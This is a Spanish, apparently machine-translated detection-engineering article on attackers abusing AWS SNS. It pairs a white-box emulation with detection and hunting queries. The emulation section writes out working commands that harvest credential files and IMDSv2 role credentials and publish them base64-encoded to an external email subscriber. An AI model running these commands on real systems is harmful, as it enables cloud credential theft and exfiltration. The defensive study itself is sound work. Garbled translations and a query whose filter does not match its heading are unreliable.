Preámbulo

Bienvenido a otra entrega de ingeniería de detección de AWS con Elastic. Este artículo analizará en profundidad cómo los adversarios de amenazas (TA) aprovechan el Servicio de notificación simple (SNS) de AWS y cómo buscar indicadores de abuso empleando esa fuente de datos.

Espere aprender acerca de posibles técnicas de amenaza que los adversarios pueden ejercer con respecto a las redes sociales. También exploraremos las mejores prácticas de seguridad, el fortalecimiento de roles y accesos, así como también cómo diseñar una lógica de detección de amenazas para el abuso de SNS.

Esta investigación fue el resultado de una colaboración interna reciente que nos obligó a aprovechar SNS para la exfiltración de datos durante un ejercicio de caja blanca. Durante esta colaboración, nos intrigó cómo un simple servicio de publicación y subscripción (pub/sub) podía ser empleado de forma abusiva por adversarios para lograr diversas acciones sobre objetivos. Investigamos los intentos de abuso de redes sociales conocidos públicamente y nuestro conocimiento de la fuente de datos para armar esta investigación sobre las oportunidades de detección.

¡Disfrútalo!

Comprensión de AWS SNS

Antes de comenzar con los detalles, analicemos qué es AWS SNS para tener una comprensión básica.

AWS SNS es un servicio sitio web que permite a los usuarios enviar y recibir notificaciones desde la nube. Piense en ello como un servicio de suministro de noticias donde se crea un tema digital, aquellos que están interesados en las actualizaciones se suscriben por email, Slack, etc. y cuando se publican datos en ese tema, todos los suscriptores son notificados y los reciben. Esto describe lo que comúnmente se conoce como un servicio de publicación/subscripción proporcionado habitualmente por proveedores de servicios en la nube (CSP). En Azure, esto se ofrece como Sitio web PubSub, mientras que GCP ofrece Pub/Sub. Si bien los nombres de estos servicios pueden diferir levemente de una plataforma a otra, su utilidad y propósito no lo hacen.

SNS ofrece dos flujos de trabajo, de aplicación a persona (A2P) y de aplicación a aplicación (A2A), que cumplen distintas finalidades. Los flujos de trabajo A2P se centran más en la operación integral con servicios de AWS como Firehose, Lambda, SQS y más. Sin embargo, en este artículo centraremos nuestra atención en los flujos de trabajo A2P. Como se muestra en el diagrama a continuación, comúnmente se crea un tema de SNS, lo que permite a los suscriptores aprovechar SMS, email o notificaciones push para recibir mensajes.

Características adicionales:

Políticas de filtro: los suscriptores pueden definir reglas de filtrado para recibir solo un subconjunto relevante de mensajes si así lo desean. Estas políticas de filtro se definen en formato JSON y especifican en qué atributos de un mensaje está interesado el suscriptor. SNS evalúa estas políticas en el servidor antes de la entrega para determinar a qué suscriptores se deben enviar los mensajes.

Cifrado: SNS aprovecha el cifrado del lado del servidor (SSE) mediante AWS Key Management Service (KMS) para proteger los mensajes en reposo. Cuando el cifrado está habilitado, los mensajes se cifran antes de almacenar en SNS y luego se descifran al entregar al punto final. Por supuesto, esto es importante para mantener la seguridad de la información de identificación personal (PII) u otros datos confidenciales, como los números de cuenta. No hay por qué preocupar: aunque SNS solo encripta en reposo, otros protocolos (como HTTPS) manejan el cifrado en tránsito, haciéndolo de extremo a extremo (E2E).

Reintentos de entrega y colas de mensajes no entregados (DLQ): SNS vuelve a intentar automáticamente la entrega de mensajes a puntos finales, como SQS, Lambda, etc. en caso de fallas inesperadas. Sin embargo, los mensajes que no se entregan finalmente residen en DLQ, que normalmente es una cola de AWS SQS que permite la depuración para los desarrolladores.

Escalabilidad: AWS SNS está diseñado para manejar volúmenes masivos de mensajes y se escala automáticamente para adaptar al aumento del tráfico sin intervención manual. No hay requisitos de aprovisionamiento inicial y usted paga solo por lo que usa, lo que lo hace rentable para la mayoría de las organizaciones.

AWS SNS es una poderosa herramienta para facilitar la comunicación en entornos de nube. Para una comprensión más profunda, recomendamos profundizar en la documentación existente de AWS. Sin embargo, su versatilidad y capacidades de integración también lo hacen susceptible al abuso. En la siguiente sección, exploramos algunos escenarios en los que los adversarios podrían aprovechar las redes sociales con fines maliciosos.

Pruebas de caja blanca

Las pruebas de caja blanca implican la realización de emulaciones atómicas de comportamiento malicioso en un entorno controlado, con visibilidad completa de la infraestructura vulnerable o mal configurada y sus configuraciones. Este enfoque se emplea comúnmente en entornos de nube para validar las capacidades de detección durante el desarrollo de reglas o modelos de detección de amenazas dirigidos a tácticas, técnicas y procedimientos (TTP) específicos. A diferencia de los entornos de puntos finales, donde las simulaciones de adversarios a menudo implican la detonación de binarios y herramientas de malware, las TTP basadas en la nube generalmente explotan los servicios existentes impulsados por API a través de técnicas "fuera de la nube", lo que hace que este enfoque sea esencial para un análisis y una detección precisos.

Exfiltración de datos a través de redes sociales

La exfiltración a través de redes sociales comienza con la creación de un tema que sirve como proxy para recibir datos robados y entregarlos a una fuente de medios externa, como el email o el teléfono móvil. Los adversarios luego suscribirían esa fuente de medios al tema para que todos los datos recibidos les sean enviados. Una vez realizada esta etapa, solo es cuestión de empaquetar los datos y publicarlos en el tema SNS, que maneja la distribución. Este método permite a los adversarios eludir los mecanismos tradicionales de protección de datos, como las ACL de red, y filtrar información a destinos externos no autorizados.

Ejemplo de flujo de trabajo:

• Aterrice en la instancia EC2 y realice el descubrimiento de datos confidenciales, prepárelos para más adelante
• Aproveche IMDSv2 y STS de forma nativa con la AWS CLI instalada para obtener credenciales temporales
• Crea un tema en SNS y anexa una dirección de email externa como suscriptor
• Publicar información confidencial sobre el tema, codificada en Base64 (o texto sin formato)
• La dirección de email externa recibe los datos exfiltrados

Configuración de la infraestructura

Para la infraestructura de la víctima, emplearemos nuestro marco de infraestructura como código (IaC) preferido, Terraform.

Se creó un gist público que contiene todos los archivos necesarios para seguir este ejemplo. En resumen, estas configuraciones de Terraform implementan una instancia EC2 en AWS dentro de una subred pública. La configuración incluye un script de datos de usuario que agrega credenciales ficticias para datos confidenciales como variables de entorno e instala la AWS CLI para emular un entorno comprometido. Además, a la instancia EC2 se le asigna un rol IAM con licencias para sns:Publish, sns:Subscribe y sns:CreateTopic.

Hay varias formas potenciales en las que un adversario podría obtener acceso inicial a esta instancia EC2, incluida la explotación de aplicaciones sitio web vulnerables para la implementación de shell sitio web, el uso de credenciales SSH robadas, la pulverización de contraseñas o el relleno de credenciales. En este escenario de ejemplo particular, supongamos que el atacante obtuvo entrada inicial a través de una aplicación sitio web vulnerable y posteriormente cargó un shell sitio web. El siguiente objetivo en este caso sería la persistencia a través del acceso mediante credenciales. Esto se observa comúnmente en la práctica cuando los adversarios apuntan a software de terceros o aplicaciones sitio web populares como Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange y muchos más.

Para comenzar, descargue los archivos Terraform desde gist.

1. Ajuste las variables en el archivo variables.tf para que coincidan con su configuración.
   1. Agregue su dirección IPv4 incluida en la lista blanca para trusted_ip_cidr
   2. Agregue la ruta del archivo de clave SSH local a public_key_path
   3. Cerciorar de que ami_id.default sea el AMI-ID correcto para su región
2. Ejecute terraform init en la carpeta para inicializar el directorio de trabajo.

Cuando esté listo, ejecute terraform apply para implementar la infraestructura.

Algunos recordatorios:

• Terraform usa su perfil predeterminado de AWS CLI, así que cerciorar de estar trabajando con el perfil correcto en su configuración de AWS.
• El ID de AMI proporcionado es específico de la región us-east-1 . Si está realizando la implementación en una región diferente, actualice el ID de AMI según corresponda en el archivo variables.tf .
• Cambie trusted_ip_cidr.default en variables.tf de 0.0.0.0/0 (cualquier IP) a su rango CIDR conocido públicamente.

Salida de la aplicación de Terraform

Ingresamos mediante SSH a nuestra instancia EC2 para garantizar que nuestras credenciales confidenciales se crearon a partir del script de datos de usuario. Tenga en cuenta que en el archivo outputs.tf nos cercioramos de que el comando SSH se generaría para nosotros en función de la ruta de la clave y la IP pública de nuestra instancia EC2.

Con esta infraestructura puesta en marcha y confirmada, podemos pasar a la ejecución práctica.

El flujo de trabajo en la práctica: Exfiltración de credenciales confidenciales

Repasemos este flujo de trabajo en la práctica, ahora que nuestra infraestructura está establecida. Como recordatorio, el objetivo de nuestro adversario oportunista es verificar las credenciales locales, tomar lo que pueda y almacenar los datos confidenciales localmente. Desde que llegamos a esta instancia EC2, identificamos que existe AWS CLI y que tenemos licencias SNS. De esta forma, planeamos crear un tema de SNS, registrar un email externo como suscriptor y luego filtrar nuestras credenciales robadas y otros datos como mensajes de SNS.

Nota: Si bien este ejemplo es extremadamente simple, el objetivo es centrar en SNS como metodología para la exfiltración. Las circunstancias y el escenario exactos variarán dependiendo de la configuración de la infraestructura específica de la víctima.

Identificar y recopilar credenciales de ubicaciones comunes:
Nuestro adversario apuntará a los archivos de credenciales de GitHub y .env archivos localmente con algunos buenos scripts Bash antiguos. Esto tomará las credenciales de estos archivos y las colocará en la carpeta temporal /tmp , preparándolas para su exfiltración.

Comando: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env > /tmp/stolen_creds.txt

Método de exfiltración por etapas mediante la creación de un tema de redes sociales
Aprovechemos la AWS CLI existente para crear el tema SNS. Como recordatorio, esta instancia EC2 asume el rol IAM personalizado que creamos y anexamos, lo que le permite crear temas SNS y publicar mensajes. Dado que la AWS CLI está preinstalada en nuestra instancia EC2, recuperará credenciales temporales de IMDSv2 para el rol asumido cuando se invoque. Sin embargo, si este no fuera el caso, un adversario podría recuperar credenciales de forma nativa con el siguiente código bash.

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

Una vez completado esto, intentemos crear nuestro tema de SNS y la dirección de email que se empleará como nuestro receptor externo para los datos exfiltrados.

Comando Crear tema: TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

Comando de subscripción: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

Como se muestra arriba, luego de ejecutar los comandos, podemos navegar a la bandeja de entrada de la dirección de email externa para confirmar la subscripción. Una vez confirmado, nuestra dirección de email externa recibirá todos los mensajes enviados a whitebox-sns-topic topic que planeamos emplear para la exfiltración.

Exfiltrar datos a través de publicación SNS
En este punto, obtuvimos acceso a una instancia EC2, investigamos para comprender nuestro entorno, identificado algunos servicios de abuso y algunas credenciales que queremos obtener. Tenga en cuenta que todos nuestros pasos anteriores podrían haber logrado mediante un simple script Bash que podría colocar en la instancia EC2 comprometida a través de nuestro shell sitio web, pero esto se divide en pasos individuales para fines de ejemplo.

A continuación, podemos tomar los datos que almacenamos en /tmp/stolen_creds.txt, codificarlos en base64 y enviarlos a la dirección de email controlada por nuestro adversario a través de SNS.

Comandos:

• Contenido codificado en Base64: BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• Publicar credenciales codificadas en nuestro tema: aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

Una vez completado, podemos simplemente revisar nuestra bandeja de entrada para buscar estas credenciales exfiltradas.

Tomando la carga útil de nuestro mensaje, podemos decodificarlo para ver que representa las credenciales que encontramos en la instancia EC2.

Como muchos adversarios pueden intentar establecer persistencia o mover lateralmente en todo el entorno y los servicios de AWS, entonces podrán confiar en este tema de SNS para extraer datos mientras las licencias estén dentro del alcance del usuario o rol de IAM. Además, podrían configurar un trabajo recurrente que escanee datos en esta instancia EC2 y extraiga continuamente cualquier cosa interesante a lo largo del tiempo. En este escenario hay muchas opciones prácticas para encadenamiento adicional que podría realizar.

Antes de continuar, le recomendamos que emplee el siguiente comando para destruir su infraestructura una vez que cierre la sesión de la conexión SSH: terraform destroy --auto-approve

Desafíos para los adversarios:

Por supuesto, hay muchas incertidumbres en cualquier prueba de caja blanca que pueden resultar obstáculos o barreras para un TA, tanto avanzado como inmaduro en conocimientos, habilidades y capacidades. También depende en gran medida de la configuración y el entorno de la víctima potencial. A continuación se presentan desafíos adicionales que enfrentarían los adversarios.

Acceso inicial: obtener acceso inicial a la instancia EC2 suele ser el mayor obstáculo. Esto podría implicar la explotación de una aplicación sitio web vulnerable o un servicio de terceros, el uso de credenciales SSH robadas, la pulverización de contraseñas o el robo de credenciales, o el aprovechamiento de otros medios como la ingeniería social o el phishing. Sin acceso inicial, toda la cadena de ataque es inviable.

Establecer una sesión activa: luego de obtener acceso, mantener una sesión activa puede ser difícil, especialmente si el entorno incluye una protección robusta de puntos finales o reinicios regulares que eliminan la actividad no autorizada. Es posible que los adversarios necesiten establecer un punto de apoyo persistente empleando técnicas como un webshell, un shell inverso o un script cuentagotas automatizado.

AWS CLI instalada en la instancia: la presencia de AWS CLI en una instancia EC2 pública es poco común y no se considera una práctica recomendada. Muchos entornos seguros evitan la preinstalación de la AWS CLI, lo que obliga a los adversarios a traer sus propias herramientas o confiar en métodos menos directos para interactuar con los servicios de AWS.

Licencias de rol de IAM: el rol de IAM asociado a la instancia EC2 debe incluir políticas permisivas para acciones de SNS (sns:Publish, sns:Subscribe, sns:CreateTopic, sts:GetCallerIdentity). Muchos entornos restringen estas licencias para evitar el uso no autorizado y a menudo son necesarias configuraciones incorrectas para que el ataque tenga éxito. Las mejores prácticas de seguridad, como el principio de mínimo privilegio (PoLP), garantizarían que los roles se configuren únicamente con las licencias necesarias.

Ejecución de scripts maliciosos: ejecutar con éxito un script o ejecutar comandos sin activar alarmas (por ejemplo, CloudTrail, GuardDuty, agentes EDR) es un desafío. Los adversarios deben cerciorar de que sus actividades se mezclen con el tráfico legítimo o emplear técnicas de ofuscación para evadir la detección.

Beneficios para los adversarios

Por supuesto, si bien estas técnicas suponen desafíos para el adversario, consideremos también algunos beneficios cruciales que pueden tener.

• Combinación con servicios nativos de AWS: al aprovechar AWS SNS para la exfiltración de datos, la actividad del adversario aparece como un uso legítimo de un servicio insignia nativo de AWS. Las redes sociales se emplean habitualmente para notificaciones y difusión de datos, lo que hace menos probable que levante sospechas inmediatas.
• Suplantación de identidad a través del rol de IAM: las acciones realizadas a través de la AWS CLI se atribuyen al rol de IAM asociado a la instancia EC2. Si el rol ya tiene licencias para acciones de SNS y se usa de manera regular para tareas similares, la actividad adversaria puede combinar perfectamente con las operaciones esperadas.
• Sin preocupaciones por grupos de seguridad o ACL de red: dado que la comunicación SNS ocurre completamente dentro de los límites de AWS, no hay dependencia de configuraciones de grupos de seguridad o ACL de red. Esto evita los controles de tráfico saliente tradicionales, lo que garantiza que los intentos de exfiltración de datos del adversario no se bloqueen.
• Falta de detecciones de abuso de redes sociales: el abuso de redes sociales para la exfiltración de datos no se controla adecuadamente en muchos entornos. Los equipos de seguridad pueden centrar en los servicios de AWS que se abusan con mayor frecuencia (por ejemplo, S3 o EC2) y carecer de detecciones o alertas dedicadas para actividad SNS inusual, como la creación frecuente de temas o grandes volúmenes de mensajes publicados.
• Huella mínima con comandos no invasivos: los comandos locales empleados por el adversario (por ejemplo, cat, echo, base64) son benignos y normalmente no activan herramientas de detección y respuesta de puntos finales (EDR). Estos comandos son comunes en tareas administrativas legítimas, lo que permite a los adversarios evitar la detección en los sistemas Linux backend.
• Exfiltración eficiente y escalable: SNS permite una exfiltración escalable al permitir que los adversarios envíen grandes cantidades de datos a múltiples suscriptores. Una vez configurado, el adversario puede automatizar la publicación periódica de información confidencial con un mínimo esfuerzo adicional.
• Capacidades de exfiltración persistente: mientras el tema y la subscripción de SNS permanezcan activos, el adversario puede usar la infraestructura para la exfiltración continua. Esto es especialmente cierto si el rol de IAM conserva sus licencias y no se implementa ningún monitoreo proactivo.
• Evitar el monitoreo de egreso y DLP: dado que los datos se filtran a través de SNS dentro del entorno de AWS, se evitan las soluciones tradicionales de monitoreo de egreso o prevención de pérdida de datos que se centran en el tráfico saliente a destinos externos.

Abuso en la naturaleza

Si bien los escenarios de caja blanca son invaluables para simular posibles comportamientos adversarios, es igualmente importante basar estas simulaciones en amenazas en la naturaleza (ItW). Con este fin, exploramos investigaciones disponibles públicamente e identificamos un artículo clave de SentinelOne que describe una campaña de mensajes de spam que aprovechó AWS SNS. Empleando los conocimientos de esta investigación, intentamos replicar estas técnicas en un entorno controlado para comprender mejor sus participaciones.

Si bien no profundizaremos en el análisis de atribución descrito en la investigación de SentinelOne, recomendamos encarecidamente revisar su trabajo para conocer más a fondo los orígenes de la campaña. En cambio, nos centraremos en las herramientas y técnicas que emplea el adversario para abusar de AWS SNS con fines maliciosos.

Smishing y phishing

Los entornos de AWS comprometidos con servicios SNS preconfigurados pueden servir como plataformas de lanzamiento para ataques de smishing (phishing por SMS) o de phishing. Los adversarios pueden explotar temas y suscriptores legítimos de SNS para distribuir mensajes fraudulentos interna o externamente, aprovechando la confianza inherente en los canales de comunicación de una organización.

Como se detalla en el blog de SentinelOne, el adversario empleó una herramienta basada en Python conocida como SNS Sender. Este script habilitó campañas de phishing por SMS masivos al interactuar directamente con las API de AWS SNS mediante credenciales de AWS comprometidas. Estas solicitudes de API autenticadas permitieron al adversario eludir las medidas de seguridad comunes y enviar mensajes de phishing en masa.

El script SNS Sender aprovecha claves de acceso y secretos de AWS válidos para establecer sesiones de API autenticadas a través del SDK de AWS. Armados con estas credenciales, los adversarios pueden crear flujos de trabajo de phishing que incluyen:

1. Establecer sesiones de API de SNS autenticadas a través del SDK de AWS.
2. Enumerar y seleccionar listas de números de teléfono para que sirvan como destinatarios de phishing.
3. Emplear un ID de remitente previamente registrado (si está disponible) para suplantar entidades confiables.
4. Envío de mensajes SMS que contienen enlaces maliciosos, a menudo hacer pasar por un servicio legítimo.

Elastic Security Labs predice que el uso de herramientas únicas o disponibles comercialmente para abusar de los servicios en la nube, como SNS Sender, seguirá creciendo como foco de investigación. Esto subraya la importancia de comprender estas herramientas y su impacto en la seguridad de la nube.

Consideraciones sobre la militarización y las pruebas previas

Para ejecutar con éxito una campaña de phishing a gran escala empleando AWS SNS, el adversario necesitó acceso a una organización de mensajería de usuario final de AWS ya registrada. AWS restringe las nuevas cuentas al modo SNS Sandbox, lo que limita el envío de SMS a números de teléfono verificados manualmente. Para eludir las restricciones del entorno sandbox, los adversarios necesitarían acceder a una cuenta ya aprobada para la mensajería SMS de producción. El proceso de pruebas y militarización requirió varios pasos clave.

Una configuración completa de mensajería de usuario final de AWS requeriría lo siguiente:

• Una identidad de origen establecida (que incluye un código largo, un número gratis o un código corto).
• Aprobación regulatoria a través de un proceso de registro de marca.
• Aprobación previa del operador para mensajes SMS de gran volumen.

Sin estos identificadores registrados previamente, los mensajes de AWS SNS pueden quedar despriorizados, bloqueados o no poder enviar.

Antes de implementar un ataque a gran escala, los adversarios probablemente probarían la entrega de SMS empleando números de teléfono verificados dentro del modo Sandbox de AWS SNS. Este proceso requiere:

• Verificar manualmente los números de teléfono antes de enviar mensajes.
• Cerciorar de que su operador permita los mensajes de sandbox de AWS SNS, ya que algunos (como T-Mobile y Google Voice) bloquean con frecuencia los SMS de verificación de sandbox de AWS SNS.
• Prueba de rutas de entrega en diferentes regiones de AWS para identificar qué países permiten identificaciones de remitente personalizadas o permiten mensajes que no sean de entorno aislado.

Si el entorno de prueba de un atacante no recibía las OTP de verificación de SNS, probablemente cambiaría a una cuenta de AWS diferente o aprovecharía una cuenta de AWS comprometida que ya tenía licencias de mensajería de nivel de producción.

Además de esto, el adversario probablemente priorizaría los mensajes transaccionales sobre los promocionales. AWS prioriza los mensajes transaccionales (OTP, alertas de seguridad, etc.), mientras que los mensajes promocionales tienen menor prioridad y pueden ser filtrados o bloqueados por ciertos operadores.

Si los adversarios no pueden anular los valores predeterminados del tipo de mensaje, AWS puede despriorizar o rechazar sus mensajes de phishing, lo que podría ser un obstáculo.

Identidad de origen registrada e ID del remitente (si es compatible)

AWS requiere el registro de marca y la verificación de identidad de origen para las compañías que envían mensajes SMS de gran volumen. Dependiendo de la región y el operador, los adversarios podrían explotar diferentes configuraciones:

• Abuso de ID de remitente: en algunos países fuera de EE. UU. En algunas regiones, los adversarios podrían registrar un ID de remitente para hacer que los mensajes de phishing parezcan provenir de una entidad confiable. Esto puede permitir la suplantación de identidad de bancos, compañías navieras o agencias gubernamentales, lo que hace que el intento de phishing sea más convincente.
• Explotación de códigos largos y números gratis: AWS SNS asigna códigos largos (números de teléfono estándar) o números gratis para SMS salientes. Los números gratis requieren registro, pero aún así podrían ser empleados de forma indebida si un adversario compromete una cuenta de AWS con un servicio de mensajería gratis activo.
• Restricciones de códigos cortos: Los códigos cortos de alto rendimiento (números de 5 o 6 dígitos) a menudo están controlados por el operador y requieren una verificación adicional, lo que los hace menos prácticos para los adversarios.

Configuración de la infraestructura

De forma predeterminada, las cuentas de AWS que no configuraron correctamente el servicio de mensajería de usuario final están restringidas a un entorno sandbox de SMS. Este sandbox permite a los desarrolladores probar la funcionalidad de SMS enviando mensajes a números de teléfono verificados. Sin embargo, como descubrimos, el proceso de verificar números en el sandbox está plagado de desafíos.

A pesar de los repetidos intentos de registrar números de teléfono en el entorno protegido, descubrimos que los mensajes de verificación (códigos OTP) no llegaban a los puntos finales de varios operadores y servicios, incluidos Google Voice y Twilio. Esto sugiere que los operadores móviles pueden bloquear estos mensajes originados en la zona protegida, lo que en efecto detiene el proceso de verificación pero en última instancia nos impide emular el comportamiento.

Para uso en producción, migrar desde el entorno sandbox requiere un servicio de mensajería de usuario final de AWS completamente configurado. Esto incluye:

• Un ID de remitente legítimo.
• Un grupo de teléfonos para conmutaciones por error.
• Identidad de origen.
• Registro de marca para cumplimiento normativo.

Esta configuración se alinea con los requisitos del script SNS Sender y representa un entorno ideal para los adversarios. El uso de un ID de remitente, que se basa en una identidad de origen preestablecida y en el registro de marca, permite que los mensajes de phishing parezcan provenir de una organización confiable. Esto reduce la probabilidad de detección o bloqueo a nivel de operador, lo que aumenta la tasa de éxito de la campaña.

Los requisitos para este ataque sugieren que es probable que los adversarios apunten a compañías que emplean AWS End User Messaging para alertas y mensajes SMS automatizados. Industrias como los servicios de logística y entrega, las plataformas de comercio electrónico y los viajes y la hospitalidad son objetivos principales debido a su dependencia de las notificaciones SMS automatizadas.

Del lado del destinatario, el mensaje de phishing parece provenir de una entidad confiable, eludiendo las alarmas del operador y evadiendo sospechas.

Durante nuestras pruebas, encontramos un comportamiento inesperado con el inicio de sesión en CloudTrail al intentar usar el script y AWS CLI para enviar mensajes SMS directamente a través de SNS. Los intentos fallidos de entrega de mensajes no aparecieron en los registros de CloudTrail como se esperaba.

Si bien la llamada a la API de publicación generalmente se registra en CloudTrail (siempre que los eventos del plano de datos estén habilitados), no está claro si la ausencia de registros de intentos fallidos se debió al comportamiento inherente de SNS o a una mala configuración de nuestra parte. Esta brecha resalta la necesidad de una investigación más profunda sobre cómo AWS maneja las solicitudes de publicación de SNS fallidas y si se requieren configuraciones adicionales para capturar estos eventos de manera confiable.

Como resultado, determinamos que sería mejor incluir una consulta de búsqueda de amenazas para esto en lugar de una regla de detección debido a la incapacidad de replicar completamente el comportamiento del adversario, la confianza en marcas preestablecidas y registradas y la identidad de origen en su totalidad.

Oportunidades de detección y caza

Para la detección y la búsqueda, los registros de auditoría de CloudTrail proporcionan suficiente visibilidad para las llamadas API posteriores de esta actividad. También incluyen suficiente información contextual para ayudar a lograr una mayor fidelidad de estas señales anómalas. Las siguientes consultas de detecciones y búsqueda aprovecharán los datos de CloudTrail ingresados en nuestra pila Elastic con la integración de AWS CloudTrail; sin embargo, deberían poder traducir al SIEM de su elección si es necesario. Para esta actividad, nos centramos únicamente en los roles asumidos, específicamente aquellos con instancias EC2 que están siendo abusadas, pero esto podría ocurrir en otras partes de los entornos de AWS.

Tema de redes sociales creado por un usuario poco común

Fuente de la regla de detección
Fuente de consulta de caza
AJUSTE DE INGLETRO Y CUCHILLA: T1608

Identifica cuándo un tema SNS es creado por un ARN de identidad de usuario de AWS poco común (usuario o rol de IAM). Esta detección aprovecha las reglas de tipo Nuevos Términos de Elastic para identificar cuándo la primera aparición de un ARN de identidad de usuario crea un tema SNS. Sería terriblemente inusual que un rol asumido, generalmente aprovechado para instancias de EC2, creara temas de SNS.

Nuestra consulta aprovecha KQL y el tipo de regla de nuevos términos para centrar en temas creados por un rol asumido específicamente para una instancia EC2.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Consulta de búsqueda (ES|QL)

Nuestra consulta de búsqueda se centra en la acción de API CreateTopic de una entidad cuyo tipo de identidad es un rol asumido. También analizamos el ARN para garantizar que esta solicitud provenga de una instancia EC2. Luego podemos agregar la cuenta en la nube, la entidad (ID de instancia EC2), el nombre del rol asumido, la región y el agente de usuario. Si es inusual que la instancia EC2 informada esté creando temas SNS de manera aleatoria, entonces puede ser una buena señal anómala para investigar.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Notas de caza:

• Ya es inusual que las credenciales de un rol asumido para una instancia EC2 creen temas SNS de manera aleatoria.
• Si una clave de acceso de identidad de usuario (aws.cloudtrail.user_identity.access_key_id) existe en el registro de auditoría de CloudTrail, entonces esta solicitud se realizó a través de la CLI o programáticamente. Estas claves podrían estar comprometidas y justificar una mayor investigación.
• Un atacante podría recurrir a acciones de API de publicación que se llaman en este tema específico para identificar qué recurso de AWS está publicando mensajes. Con acceso al tema, el atacante podría investigar más a fondo la lista de suscriptores para identificar suscriptores no autorizados.

Subscripción a temas de redes sociales con email por parte de un usuario poco común

Fuente de la regla de detección
Fuente de consulta de caza
AJUSTE DE MITRE Y CUCHILLA: T1567, T1530

Identifica cuándo un tema SNS está suscrito por un ARN de identidad de usuario de AWS poco común (usuario o rol de IAM). Esta detección aprovecha las reglas de tipo Nuevos Términos de Elastic para identificar cuándo la primera aparición de un ARN de identidad de usuario intenta suscribir a un tema SNS existente. La exfiltración de datos que tuvo lugar durante nuestro ejemplo de prueba de caja blanca mencionado anteriormente fue detectada por esta búsqueda de amenazas; se generó una alerta cuando estableciéramos una subscripción SNS a un usuario externo.

Se podrían obtener más reducciones de falsos positivos al incluir en la lista blanca los TLD de la organización esperados en la dirección de email aplicar si el tema está destinado únicamente para uso interno.

Nuestra consulta aprovecha KQL y el tipo de regla Nuevos términos para centrar en las subscripciones que especifican una dirección de email. Lamentablemente, CloudTrail redacta la dirección de email suscrita o esto sería vital para la investigación.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

Nuevo valor de términos: aws.cloudtrail.user_identity.arn

Consulta de búsqueda (ES|QL)

Nuestra consulta de búsqueda aprovecha ES|QL pero analiza los parámetros de acción de la API de subscripción para filtrar aún más según el protocolo de email que se especifica. También analiza el nombre del agente de usuario, pero depende más de agregaciones para identificar potencialmente otros atributos anómalos del agente de usuario. También incluimos la región donde se produjo la subscripción, ya que puede ser poco común que ciertas regiones estén suscritas a otras, dependiendo del contexto comercial específico de una organización.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

Notas de caza:

• Si una clave de acceso de identidad de usuario (aws.cloudtrail.user_identity.access_key_id) existe en el registro de auditoría de CloudTrail, entonces esta solicitud se realizó a través de la CLI o programáticamente. Estas claves podrían estar comprometidas y justificar una mayor investigación.
• Ignorar el ARN del tema durante la agregación es importante para identificar las primeras anomalías de ocurrencia de la subscripción al tema de SNS con un email. Al no agrupar las subscripciones por ARN de tema, garantizamos que la consulta se centre únicamente en detectar subscripciones inesperadas o poco frecuentes, independientemente de los temas específicos ya establecido.
• Es posible que se requiera otra consulta con el ARN de identidad del usuario como filtro de inclusión para identificar a qué tema se suscribió.
• Si se observa un nombre de agente de usuario anómalo, puede ser necesaria una investigación secundaria en la cadena de agente de usuario para determinar si está asociada con scripts automatizados, navegadores poco comunes o plataformas no coincidentes. Si bien es fácil falsificarlos, se sabe que algunos adversarios no lo hacen por razones no reveladas.

Mensaje de tema de SNS publicado por un usuario poco común

Fuente de la regla de detección
Fuente de consulta de caza

